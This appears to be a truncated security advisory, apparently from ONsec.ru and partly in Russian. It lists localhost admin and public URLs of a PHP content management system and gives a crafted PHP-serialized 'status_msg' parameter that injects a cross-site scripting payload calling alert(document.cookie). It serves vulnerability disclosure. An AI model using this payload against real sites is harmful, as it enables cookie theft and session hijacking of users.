http://localhost:7777/news
http://localhost:7777/comment
http://localhost:7777/forum
http://localhost:7777/blog
http://localhost:7777/tags
http://localhost:7777/_admin/forum.php
http://localhost:7777/_admin/discussion.php
http://localhost:7777/_admin/guestbook.php
http://localhost:7777/_admin/blog.php
http://localhost:7777/_admin/news.php
http://localhost:7777/_admin/srv_updates.php
http://localhost:7777/_admin/srv_backups.php
http://localhost:7777/_admin/srv_twist_prevention.php
http://localhost:7777/_admin/srv_tags.php
http://localhost:7777/_admin/srv_tags_reindex.php
http://localhost:7777/_admin/google_sitemap.php
http://localhost:7777/_admin/sitemap_history.php
http://localhost:7777/_admin/srv_options.php
http://localhost:7777/_admin/locales.php
http://localhost:7777/_admin/plugins_wizard.php
Специального вида строка параметра выглядит следующим образом (представление URL-decoded):
?status_msg=a:2:{s:3:"sys";a:0:{}s:5:"plain";a:1:{i:0;a:2:{s:3:"msg";s:68:"ONsec.ru - XSS test[ALERT]\");alert(document.cookie)//alert([/ALERT]";s:4:"type";s:4:"none";}}}
Реализация: